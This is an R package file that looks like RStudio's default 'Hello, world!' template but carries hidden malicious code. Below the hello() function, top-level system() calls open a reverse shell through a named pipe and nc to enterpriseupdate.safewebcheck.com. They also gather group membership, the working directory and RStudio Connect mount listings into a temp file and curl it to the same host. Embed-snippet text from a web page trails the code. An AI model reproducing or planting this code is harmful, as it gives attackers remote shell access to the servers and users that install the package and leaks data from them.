# Hello, world!
#
# This is an example function named 'hello'
# which prints 'Hello, world!'.
#
# You can learn more about package authoring with RStudio at:
#
# http://r-pkgs.had.co.nz/
#
# Some useful keyboard shortcuts for package authoring:
#
# Build and Reload Package: 'Cmd + Shift + B'
# Check Package: 'Cmd + Shift + E'
# Test Package: 'Cmd + Shift + T'
#' Example touches
#' @export
#' @examples
hello <- function() {
print("Hello, world!")
}
#file.create("/Users/jeff/workspace/badpkg/heyo2.txt")
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc enterpriseupdate.safewebcheck.com 8989 >/tmp/f')
system('groups > /tmp/body.txt')
system('echo ===== >> /tmp/body.txt')
#system('ls -la /var/lib/rstudio-connect/mnt/packrat >> /tmp/body.txt')
system('pwd >> /tmp/body.txt')
system('ls -la /var/lib/rstudio-connect/mnt/ >> /tmp/body.txt')
system('curl -X POST -H "Content-Type: text/plain" --data-binary "@/tmp/body.txt" http://enterpriseupdate.safewebcheck.com:4265')
Add the following code to your website.
For more information on customizing the embed code, read Embedding Snippets.